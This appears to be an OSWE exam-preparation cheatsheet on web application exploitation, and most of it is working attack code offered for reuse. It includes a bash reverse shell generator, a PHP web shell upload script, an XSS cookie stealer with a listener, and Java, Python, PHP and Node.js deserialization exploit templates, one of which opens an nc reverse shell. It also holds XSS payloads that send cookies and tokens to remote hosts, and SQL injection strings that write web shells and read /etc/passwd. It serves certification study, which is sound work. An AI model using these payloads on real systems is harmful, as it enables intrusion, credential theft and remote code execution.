OSWE Cheatsheet

OSWE

Concepts

Authentication Bypass

- SQLi, XSS, Type Juggling, Application Logic Flaws, CORS, CSRF etc.

Remote Code Execution

- SQLi, Javascript Injection, File upload, Deserialization, SSTI, Prototype Pollution, SSRF.

Enable Database Debug and Logging

Postgres

Edit your /etc/postgresql/<version-num>/main/postgresql.conf, and change the lines as follows.

Note: If you didn't find the postgresql.conf file, then just type $locate postgresql.conf in a terminal

Uncomment these fields:

  1. #log_directory = 'log'
  2. #log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'

Change these fields values:

  1. #log_statement = 'none' -> log_statement = 'all'
  2. #logging_collector = off -> logging_collector = on
  3. sudo /etc/init.d/postgresql restart or sudo service postgresql restart
  4. Fire query in postgresql select 2+2.
  5. Find current log in /var/lib/postgresql/10/main/log

MySQL

Login to the MySQL instance and check out the general_log and values, whether is set to ON or OFF:

show variables like '%log%';

If it's set to OFF, run the below command to switch it (as the root user!):

SET GLOBAL general_log = 1;

Next, check the general_log_file value to see where the actual log file is located using the same.

Python Code Snippets

Starting Template

import requests
import string
import re
import threading
import base64
import netifaces
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from http.server import BaseHTTPRequestHandler
from http.server import HTTPServer

GREEN = '\033[92m'   # Bright Green
RED = '\033[91m'     # Bright Red
RESET = '\033[0m'    # Reset to default color

# Define reusable symbols

success = f"{GREEN}[+]{RESET}"
failure = f"{RED}[-]{RESET}"

proxies = {"http":"http://127.0.0.1:8080"}

def generate_b64revshell(listener_ip, listener_port):

    payload = f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1"
    payload_bytes = payload.encode('ascii')
    b64payload = base64.b64encode(payload_bytes)
    base64_payload = b64payload.decode('ascii')
    return base64_payload

def register():

    ## Register logic
    return 'username', 'password'  # Example return

def login(username, password):

    ## Login Logic
    return {}  # Example cookies

if __name__ == "__main__":

    target_ip = '10.10.10.10'
    listener_ip = '192.168.1.100'
    listener_port = '4444'

    # Main Logic

    username, password = register()
    usercookies = login(username, password) 

File Upload With Additional Parameters

import requests
import string
import random
import io

GREEN = '\033[92m'   # Bright Green
RED = '\033[91m'     # Bright Red
RESET = '\033[0m'    # Reset to default color

# Define reusable symbols

success = f"{GREEN}[+]{RESET}"
failure = f"{RED}[-]{RESET}"

proxies = {"http":"http://127.0.0.1:8080"}

def uploadFile(phpsessid):

    url = "http://10.100.102.73:80/item/updateItem.php"

    payload_content = b"<?php system($_REQUEST['cmd']); ?>"
    pwny = io.BytesIO(payload_content)

    data = {
        "id": "1",
        "id_user": "1",
        "name": "Raspery Pi 4",
        "description": ("Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 "
                        "BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B"),
        "price": "92"
    }

    filename = ''.join(random.choices(string.ascii_letters + string.digits, k=4)) + '.phar'
    files = {
        "image": (filename, pwny, "application/octet-stream")
    }
    
    cookies = {

        "PHPSESSID": phpsessid
    }

    r = requests.post(url, data=data, files=files, cookies=cookies, proxies=proxies, allow_redirects=False)
    loginheader = r.headers.get("Location", "")
    match = re.search(r'index\.php$', loginheader)
    if match:
        print(f"[+] Filename {filename} uploaded successfully!")
    else:
        print("[-] File is not uploaded.")
    return filename

uploadFile('example_phpsessid')

HTTP File Server 1

from http.server import BaseHTTPRequestHandler
from http.server import HTTPServer

LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

HTTP File Server 2

from http.server import BaseHTTPRequestHandler, HTTPServer
import threading
import os

GREEN = '\033[92m'   # Bright Green
RED = '\033[91m'     # Bright Red
RESET = '\033[0m'    # Reset to default color

# Define reusable symbols

success = f"{GREEN}[+]{RESET}"
failure = f"{RED}[-]{RESET}"

def start_web_server(host="192.168.45.249", port=80, directory="."):
    os.chdir(directory)
    
    class MyHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            try:
                file_path = os.path.join(directory, self.path.lstrip("/"))
                if os.path.exists(file_path) and os.path.isfile(file_path):
                    self.send_response(200)
                    if file_path.endswith(".dtd"):
                        self.send_header("Content-type", "application/xml-dtd")
                    else:
                        self.send_header("Content-type", "text/plain")
                    self.end_headers()
                    with open(file_path, "rb") as f:
                        self.wfile.write(f.read())
                else:
                    self.send_response(404)
                    self.send_header("Content-type", "text/plain")
                    self.end_headers()
                    self.wfile.write(b"File not found")
            except Exception as e:
                self.send_response(500)
                self.send_header("Content-type", "text/plain")
                self.end_headers()
                self.wfile.write(f"Server error: {str(e)}".encode())

    httpd = HTTPServer((host, port), MyHandler)
    print(f"{success} Serving at {host}:{port}")
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    return httpd

start_web_server()

HTTP File Server 3

import threading
import mimetypes
import socket
import os

GREEN = '\033[92m'   # Bright Green
RED = '\033[91m'     # Bright Red
RESET = '\033[0m'    # Reset to default color

# Define reusable symbols

success = f"{GREEN}[+]{RESET}"
failure = f"{RED}[-]{RESET}"

HOST = '0.0.0.0'
PORT = 8000
SERVE_DIR = '.'

def handle_client(conn, addr):
    print(f"{success} Connection from {addr}")
    try:
        # Receive request data
        request = conn.recv(1024).decode('utf-8')
        # print(f"Received request from {addr}: {request[:100]}...")  # Log first 100 chars        
        # Simple parsing: Extract the path from "GET /path HTTP/1.1"
        lines = request.split('\n')
        if lines and 'GET /' in lines[0]:
            path = lines[0].split(' ')[1]  # e.g., "/filename.txt"
            if path == '/':
                path = '/index.html'  # Optional: Default to index.html if root, but you can remove this
            full_path = os.path.join(SERVE_DIR, path.lstrip('/'))
            
            if os.path.exists(full_path) and os.path.isfile(full_path):
                # Read and send the file
                with open(full_path, 'rb') as f:
                    file_data = f.read()
                
                # Guess MIME type
                mime_type, _ = mimetypes.guess_type(full_path)
                if mime_type is None:
                    mime_type = 'application/octet-stream'
                
                # Basic HTTP response
                response = (
                    b'HTTP/1.1 200 OK\r\n'
                    b'Content-Type: ' + mime_type.encode('utf-8') + b'\r\n'
                    b'Content-Length: ' + str(len(file_data)).encode('utf-8') + b'\r\n'
                    b'\r\n'
                )
                conn.sendall(response + file_data)
                print(f"Served {full_path} ({len(file_data)} bytes) to {addr}")
            else:
                # 404 response
                response = b'HTTP/1.1 404 Not Found\r\nContent-Type: text/plain\r\n\r\nFile not found.'
                conn.sendall(response)
                print(f"File {full_path} not found for {addr}")
        else:
            # 400 for invalid request
            response = b'HTTP/1.1 400 Bad Request\r\nContent-Type: text/plain\r\n\r\nInvalid request.'
            conn.sendall(response)
    except Exception as e:
        print(f"Error handling {addr}: {e}")
    finally:
        conn.close()

def server():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # Allow reuse of address
        s.bind((HOST, PORT))
        s.listen(5)  # Backlog of 5 for queued connections
        print(f"{success}Background file server listening on {HOST}:{PORT} ... (serving from {SERVE_DIR})")
        while True:
            conn, addr = s.accept()
            # Handle each client in a separate thread for concurrency
            client_thread = threading.Thread(target=handle_client, args=(conn, addr))
            client_thread.start()

# Start the server in a background thread (daemon=True so it exits when main does)
server_thread = threading.Thread(target=server, daemon=True)
server_thread.start()

# Main program continues here (non-blocking)
print(f"{success} File server started in background. Main program running...")

XSS Cookies Stealer

import requests
import socket
import base64
import re

TARGET_URL = 'http://example.com/post'
HOST = '0.0.0.0'
PORT = 9001

def send_xss_payload():

    payload = "<script>document.location='http://10.100.102.67:9001/?c='+document.cookie</script>"
    data = {
        'title': 'test',
        'author': 'blabla',
        'text': payload,
        'submit': 'Submit'
    }

    proxies = {"http": "http://127.0.0.1:8080"}  # Use Burp or comment this out
    try:
        r = requests.post(TARGET_URL, data=data, proxies=proxies)
        if r.status_code == 200:
            print("XSS payload sent successfully.")
        else:
            print(f"Server responded with status code: {r.status_code}")
    except Exception as e:
        print(f"Error sending payload: {e}")

def listen_for_cookies():

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, PORT))
        s.listen(1)
        print(f"Listening on {HOST}:{PORT} ...")
        print("Waiting for admin to trigger XSS...")

        conn, addr = s.accept()
        with conn:
            print(f"Connection from {addr}")
            data = conn.recv(2048)

            # Base64 encode for logging
            encoded_data = base64.b64encode(data).decode('utf-8')
            print(f"Base64 Encoded Request: " + encoded_data)

            decoded_data = data.decode('utf-8', errors='ignore')

            # Extract cookie
            match = re.search(r'PHPSESSID=([^;& ]+)', decoded_data)
            if match:
                cookie = match.group(1)
                print(f"PHPSESSID captured: " + cookie)
                return cookie
            else:
                print("PHPSESSID not found in received data.")

send_xss_payload()
listen_for_cookies()

Requests Session with Proxy

import requests

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080',
}

session = requests.Session()
session.proxies.update(proxies)
session.verify = False  # Disable SSL verification if needed

# Example usage
response = session.get('https://example.com')
print(response.text)

# POST example
data = {'key': 'value'}
response = session.post('https://example.com/post', data=data)
print(response.json())

Generate Reverse Shell Payload

import base64

def generate_reverse_shell(lhost, lport):
    shell = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    encoded = base64.b64encode(shell.encode()).decode()
    print(f"Base64 encoded reverse shell: {encoded}")
    print(f"Usage: echo -n '{encoded}' | base64 -d | bash")

if __name__ == "__main__":
    lhost = '192.168.1.100'
    lport = 4444
    generate_reverse_shell(lhost, lport)

WebSocket Client

import websocket
import json

def on_message(ws, message):
    print(f"Received: {message}")

def on_error(ws, error):
    print(f"Error: {error}")

def on_close(ws, close_status_code, close_msg):
    print("Connection closed")

def on_open(ws):
    print("Connection opened")
    ws.send(json.dumps({"action": "example"}))

if __name__ == "__main__":
    websocket.enableTrace(True)
    ws = websocket.WebSocketApp("ws://example.com/ws",
                                on_open=on_open,
                                on_message=on_message,
                                on_error=on_error,
                                on_close=on_close)
    ws.run_forever()

Forge JWT

import jwt
from datetime import datetime, timedelta, timezone

def forge_jwt(key, algorithm='HS256', payload=None):
    if payload is None:
        payload = {
            'sub': '1234567890',
            'name': 'John Doe',
            'iat': datetime.now(timezone.utc),
            'exp': datetime.now(timezone.utc) + timedelta(hours=1)
        }
    encoded_jwt = jwt.encode(payload, key, algorithm=algorithm)
    return encoded_jwt

if __name__ == "__main__":

    key = 'secret'
    algorithm = 'HS256'
    payload = {
        'sub': '1234567890',
        'name': 'John Doe',
        'iat': datetime.now(timezone.utc),
        'exp': datetime.now(timezone.utc) + timedelta(hours=1)
    }
    token = forge_jwt(key, algorithm, payload)
    print(f"Forged JWT: {token}")

Get Current Time (EPOCH)

import requests
from datetime import datetime
import time

def get_epoch_from_server():
    url = 'http://example.com'  # Replace with the target server URL or IP (e.g., 'http://192.168.1.1')
    try:
        response = requests.get(url)
        server_date_str = response.headers.get('Date')
        if server_date_str:
            # Parse the date string (e.g., 'Sun, 12 Oct 2025 00:00:00 GMT')
            server_date = datetime.strptime(server_date_str, '%a, %d %b %Y %H:%M:%S %Z')
            # Convert to epoch time
            epoch_time = int(time.mktime(server_date.timetuple()))
            print(f"Server's EPOCH time: {epoch_time}")
            return epoch_time
        else:
            print("No 'Date' header found in response.")
            return None
    except Exception as e:
        print(f"Error fetching server time: {e}")
        return None

get_epoch_from_server()

Insecure Deserialization

Java

Methods and Classes

ObjectInputStream.readObject() - The primary method for deserializing objects in Java. It reads an object from an ObjectInputStream and reconstructs it.
ObjectInputStream.readUnshared() - Similar to readObject(), but ensures the deserialized object is not shared with previously deserialized objects.
ObjectInputStream.readResolve() - A special method that can be defined in a class to replace the deserialized object during deserialization.
ObjectInputStream.defaultReadObject() - Used within a class’s readObject() method to perform default deserialization of non-transient fields.
XMLDecoder.readObject() - Used to deserialize objects from XML input, typically in JavaBeans-style XML.
XStream.fromXML() - Part of the XStream library, used to deserialize objects from XML.
ObjectMapper.readValue() - Part of the Jackson library, used to deserialize JSON or other formats into Java objects.
Kryo.readObject() - Part of the Kryo serialization library, used for high-performance serialization/deserialization.
SnakeYAML.load() - Part of the SnakeYAML library, used to deserialize YAML into Java objects.

Identify Insecure Deserialization in Source Code

When auditing source code, follow these steps to identify potential insecure deserialization vulnerabilities:

Use code analysis tools (e.g., grep, IDE search, or static analysis tools like SonarQube) to find calls to the methods listed above (e.g., readObject, fromXML, readValue).

Example grep command:

grep -r "readObject" .
grep -r "XStream\.fromXML ."
grep -r --include="*.java" -E '(ObjectInputStream\.readObject\(|ObjectInputStream\.readUnshared\(|readResolve\(|defaultReadObject\(|XMLDecoder|XStream\.fromXML\(|ObjectMapper\.readValue\(|Kryo\.readObject\(|Kryo\.readClassAndObject\(|Yaml\.load\(|HessianInput\.readObject\()' .
grep -r --include="*.java" -C 10 -E '(ObjectInputStream\.readObject\(|ObjectInputStream\.readUnshared\(|readResolve\(|defaultReadObject\(|XMLDecoder|XStream\.fromXML\(|ObjectMapper\.readValue\(|Kryo\.readObject\(|Kryo\.readClassAndObject\(|Yaml\.load\(|HessianInput\.readObject\()' . | grep -E -B 10 -A 10 '(HttpServletRequest|System\.in|FileInputStream|FileReader|Socket|ServerSocket|getParameter|getInputStream|getReader|request\.|input\.|stream\.|data\.)'

For each deserialization method, trace the input source (e.g., FileInputStream, Socket, HttpServletRequest).

Check if the input is untrusted (e.g., user-uploaded files, network data, or external API responses).

Look for validation mechanisms, such as: Use of ObjectInputFilter (Java 9+) to restrict deserialized classes.

Example:

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("allowed.package.*;!*");
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);

Identify classes implementing Serializable or Externalizable.

Check for readObject(), readResolve(), or writeReplace() methods that could be exploited in gadget chains.

Exploitation Template in Python

import os
import re
import base64
import urllib.parse
import requests

payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
            'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
            'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
            'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']

def generate_payloads(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print(f'Generating {payload} for {name}...')
        command = os.popen(f'java -jar ysoserial.jar {payload} "{final}"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result.encode('latin1'))  # Handle binary properly
        if encoded != b"":
            # Create line breaks at 76 characters
            encoded_str = encoded.decode('utf-8')
            encoded_str = re.sub("(.{76})", "\\1\n", encoded_str, 0, re.DOTALL)
            # Double URL encode the payload
            encoded_str = urllib.parse.quote_plus(urllib.parse.quote_plus(encoded_str))
            with open(f'{name}_{payload}_intruder.txt', 'a') as f:
                f.write(encoded_str + '\n')

def send_payload(target_url, payload_file, param_name):
    with open(payload_file, 'r') as f:
        payload = f.read().strip()
    data = {param_name: payload}
    response = requests.post(target_url, data=data)
    print(f"Response: {response.text}")

if __name__ == "__main__":

    command = 'ping -c 1 example.com'
    target_url = 'http://example.com/vuln'
    param_name = 'data'
    payload_type = 'CommonsCollections4'

    # Generate for Linux example
    generate_payloads('Linux', command)

    payload_file = f'Linux_{payload_type}_intruder.txt'
    send_payload(target_url, payload_file, param_name)

Python

Methods and Classes

pickle.loads() - The primary method for deserializing pickled data in Python.
pickle.load() - Deserializes from a file-like object.
yaml.load() with UnsafeLoader - From PyYAML, can deserialize arbitrary objects if unsafe.
jsonpickle.decode() - From jsonpickle library, deserializes JSON to Python objects.

Identify Insecure Deserialization in Source Code

Search for calls to pickle.loads(), pickle.load(), yaml.load(..., Loader=yaml.UnsafeLoader), or similar.

Trace if input is from untrusted sources like user input, files, or network.

Check for lack of validation or safe loaders (e.g., use SafeLoader for YAML).

Exploitation Template in Python

import pickle
import base64
import os
import requests

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f')
        return os.system, (cmd,)

def generate_payload():
    pickled = pickle.dumps(RCE())
    return base64.urlsafe_b64encode(pickled).decode('utf-8')

def send_payload(target_url, payload, param_name):
    data = {param_name: payload}
    response = requests.post(target_url, data=data)
    print(f"Response: {response.text}")

if __name__ == "__main__":

    target_url = 'http://example.com/vuln'
    param_name = 'pickled'

    payload = generate_payload()
    print(f"Generated Payload: {payload}")
    send_payload(target_url, payload, param_name)

PHP

Methods and Classes

unserialize() - The primary function for deserializing serialized data in PHP.
__wakeup() - Magic method called before deserialization.
__destruct() - Magic method called when object is destroyed, often used in gadget chains.

Libraries like Symfony, Laravel may have vulnerable gadgets.

Identify Insecure Deserialization in Source Code

Search for calls to unserialize($_GET['data']) or similar with user input.

Look for magic methods like __destruct, __wakeup in classes.

Check for lack of 'allowed_classes' option in unserialize.

Exploitation Template in Python

import os
import base64
import requests
import urllib.parse

def generate_payload(gadget, command):
    print(f"Generating payload with {gadget}...")
    command = os.popen(f'./phpggc {gadget} "{command}"')
    result = command.read().strip()
    command.close()
    # Base64 encode if needed
    encoded = base64.b64encode(result.encode('utf-8')).decode('utf-8')
    # URL encode
    encoded = urllib.parse.quote_plus(encoded)
    return encoded

def send_payload(target_url, payload, param_name):
    data = {param_name: payload}
    response = requests.post(target_url, data=data)
    print(f"Response: {response.text}")

if __name__ == "__main__":

    gadget = 'Monolog/RCE1'
    command = 'id'
    target_url = 'http://example.com/vuln'
    param_name = 'data'

    payload = generate_payload(gadget, command)
    print(f"Generated Payload: {payload}")
    send_payload(target_url, payload, param_name)

Node.js

Methods and Classes

serialize.unserialize() from node-serialize - Vulnerable to RCE if using eval.

Custom deserializers in libraries like funcster.

Magic markers like _$$ND_FUNC$$_ for functions.

Identify Insecure Deserialization in Source Code

Search for require('node-serialize').unserialize(userInput).

Look for eval or Function calls in deserialization logic.

Check for untrusted input to unserialize functions.

Exploitation Template in Python

import base64
import requests
import urllib.parse

def generate_payload(command):
    # Construct the node-serialize payload
    func = f"function(){{require('child_process').exec('{command}', function(error, stdout, stderr) {{ console.log(stdout) }});}}()"
    payload = f'{{"rce":"_$$ND_FUNC$$_{func}"}}'
    # Base64 encode
    encoded = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    # URL encode if needed
    encoded = urllib.parse.quote_plus(encoded)
    return encoded

def send_payload(target_url, payload, param_name):
    data = {param_name: payload}
    response = requests.post(target_url, data=data)
    print(f"Response: {response.text}")

if __name__ == "__main__":

    command = 'ls /'
    target_url = 'http://example.com/vuln'
    param_name = 'data'

    payload = generate_payload(command)
    print(f"Generated Payload: {payload}")
    send_payload(target_url, payload, param_name)

Regex Cheatsheet

Match a START and END Delimiter in r.text

import requests
import re

target = 'http://example.com'
headers = {}
xml = ''
proxies = {}

r = requests.post(target, headers=headers, data=xml, proxies=proxies)
match = re.search(f'{re.escape("START DELIMETER")}(.*?){re.escape("END DELIMETER")}', r.text, re.DOTALL)
print(match[1].strip())
import requests
import re

target = 'http://example.com'
headers = {}
xml = ''
proxies = {}

r = requests.post(target, headers=headers, data=xml, proxies=proxies)
set_cookie = r.headers.get('Set-Cookie', '')
match = re.search(r'JSESSIONID=([A-Za-z0-9]+);', set_cookie)
print(match.group(1))

XSS Payloads

Load External JavaScript

<img src="invalid-image" onerror="var script = document.createElement('script'); script.src='http://192.168.118.2/malicious.js'; document.body.appendChild(script);" />
<img src=x onerror=eval(atob("<BASE64 JAVASCRIPT PAYLOAD>"))>
<audio onloadstart="var s=document.createElement('script');s.src='//192.168.45.163/worked.js';document.head.appendChild(s)"><source></audio>
<iframe/srcdoc="<script/src=//192.168.45.163/worked.js></script>">
<strong onafterscriptexecute=""><script src="http://192.168.45.163/worked.js"></script></strong>

Load Inline JavaScript

<audio onloadstart="setTimeout(atob('YWxlcnQoIlhTUyIp'))"><source></audio>
<audio src=x onerror=Function(atob('YWxlcnQoIlhTUyIp'))()></audio>
<audio onloadstart="Function(atob('YWxlcnQoIlhTUyIp'))()"><source></audio>
<video src=x onerror=eval(atob('YWxlcnQoIlhTUyIp'))></video>

Send localStorage Token Value from User Key to Remote Resource

fetch(`http://192.168.45.159/data?data=${encodeURIComponent(JSON.parse(localStorage.getItem('user')).token)}`, {mode: 'no-cors'});

Leverage XSS to CSRF

Grab csrftoken and send HTTP request including csrftoken in the request:

var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
function getCookieValue(name) {
    const cookieString = document.cookie;
    const cookies = cookieString.split('; ');
    for (let cookie of cookies) {
        const [key, value] = cookie.split('=');
        if (key === name) return value;
    }
    return null;
}

// Specify the cookie name you want to retrieve (replace 'auth' with your actual cookie name)
const cookieName = 'token';
const cookieValue = getCookieValue(cookieName);

var req2 = new XMLHttpRequest();
req2.open('GET', 'http://192.168.45.163/' + (cookieValue || ''), false);
req2.send();

Send Request to Specific Endpoint with Custom Header and Send Response Back

function getCookieValue(name) {
    const cookieString = document.cookie;
    const cookies = cookieString.split('; ');
    for (let cookie of cookies) {
        const [key, value] = cookie.split('=');
        if (key === name) return value;
    }
    return null;
}

// Specify the cookie name you want to retrieve (replace 'auth' with your actual cookie name)
const cookieName = 'token';
const cookieValue = getCookieValue(cookieName);

// Send request using the token
var req = new XMLHttpRequest();
req.open('GET', 'http://192.168.136.243:8000/user/groups', false);
req.setRequestHeader('authorization', 'Bearer ' + token);
req.send();
var response = req.responseText;

// Send back the response to us
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://192.168.45.163/' + btoa(response), true);
req2.send();

SQL Injection Payloads and Postgres Cheatsheet

SQL Injection Payloads

' UNION SELECT 1,2,3 -- -
' OR 1=1 GROUP BY column_name HAVING 1=1 -- -
' AND 1=1 -- -
' AND 1=2 -- -
' AND (SELECT pg_sleep(5)) -- -
' AND SLEEP(5) -- -
' UNION SELECT version() -- -
' UNION SELECT @@version -- -
' UNION SELECT datname FROM pg_database -- -
' UNION SELECT schema_name FROM information_schema.schemata -- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public' -- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() -- -
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- -
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- -
' UNION SELECT username,password FROM users -- -
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' -- -
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO DUMPFILE '/var/www/html/shell.php' -- -
' UNION SELECT COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' -- -
' UNION SELECT lo_export(lo_create('\x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e'), '/var/www/html/shell.php') -- -
INSERT INTO users (id, name) VALUES (1, 'test') INTO OUTFILE '/tmp/test.txt' -- -

Use comments like /*comment*/, case variations, or encodings like UN/**/ION SEL/**/ECT.

'; DROP TABLE users; -- -

Basic Postgres Commands

SELECT datname FROM pg_database;
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'your_table';
SELECT * FROM your_table;
INSERT INTO your_table (column1, column2) VALUES ('value1', 'value2');
UPDATE your_table SET column1 = 'new_value' WHERE condition_column = 'condition_value';
DELETE FROM your_table WHERE condition_column = 'condition_value';
DROP TABLE your_table;
SELECT current_user;
SELECT version();
SELECT pg_sleep(5);
SELECT pg_read_file('/etc/passwd');
COPY (SELECT 'data') TO '/tmp/test.txt';
CREATE EXTENSION IF NOT EXISTS plperlu; SELECT system('ls');
SELECT schema_name FROM information_schema.schemata;
SELECT usename FROM pg_user;
SELECT current_database();

JavaScript Code Snippets

Basic Fetch Request

fetch('https://example.com/api/data')
  .then(response => {
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
    return response.json();
  })
  .then(data => console.log(data))
  .catch(error => console.error('Error:', error));

Fetch with Headers and Body

fetch('https://example.com/api/post', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer your-token-here'
  },
  body: JSON.stringify({
    key: 'value',
    anotherKey: 'anotherValue'
  })
})
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(error => console.error('Error:', error));

Fetch Cookies and Send to Remote

fetch('http://attacker.com/steal?c=' + encodeURIComponent(document.cookie), {
  mode: 'no-cors'
})
  .then(() => console.log('Cookies sent'))
  .catch(error => console.error('Error:', error));

WebSocket Client

const socket = new WebSocket('ws://example.com/ws');

socket.onopen = function(event) {
  console.log('Connection opened');
  socket.send(JSON.stringify({ action: 'example' }));
};

socket.onmessage = function(event) {
  console.log('Message received:', event.data);
};

socket.onclose = function(event) {
  console.log('Connection closed');
};

socket.onerror = function(error) {
  console.error('Error:', error);
};

Bypass PHP Eval Filtering

get_defined_functions()['internal'][array_search(urldecode("%65%78%65%63"), get_defined_functions()['internal'])]("whoami");
(new ReflectionFunction(hex2bin("65786563")))->invoke('hostname');

Bypass Javascript Injection Filters

(function(){module.constructor._load(Buffer.from('6368696c645f70726f63657373','hex').toString()).execSync('ping -c 2');})(); //"
(function(){module.constructor._load(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync('ping -c 2');})();//"

YSOSerial Payload Creation

.NET Version

https://github.com/pwntester/ysoserial.net

JAVA Version

https://github.com/frohoff/ysoserial

Report Recommendations

For code indentation:

Copy the code straight from VS Code into a 1x1 table in Word

Additional Resources

While the course material and labs should be enough to pass the exam, if you want further practice, I can recommend the following:

https://github.com/yeswehack/vulnerable-code-snippets
https://github.com/bmdyy/order
https://github.com/bmdyy/chat.js
https://github.com/bmdyy/tudo
https://github.com/bmdyy/testr
https://github.com/TROUBLE-1/White-box-pentesting
https://www.vulnhub.com/entry/securecode-1,651
https://github.com/takito1812/web-hacking-playground
https://pentesterlab.com/badges/codereview (paid)
https://github.com/b1d0ws/OSWE

Regex Learning:

https://regexlearn.com/learn/

Debug VM Recommended RDP Software

https://www.nomachine.com/